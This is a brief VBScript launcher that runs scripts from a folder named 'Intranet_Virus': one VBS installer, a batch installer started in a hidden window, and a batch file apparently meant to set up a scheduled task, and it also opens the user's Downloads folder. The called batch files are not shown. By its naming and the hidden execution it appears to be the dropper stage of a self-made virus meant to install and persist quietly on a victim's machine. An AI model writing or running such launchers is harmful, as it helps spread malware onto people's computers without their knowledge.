Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """Intranet_Virus\installer_one.vbs"""
CreateObject("Wscript.Shell").Run """Intranet_Virus\installer.bat""",0,True
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\"""
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """Intranet_Virus\installer_task.bat"""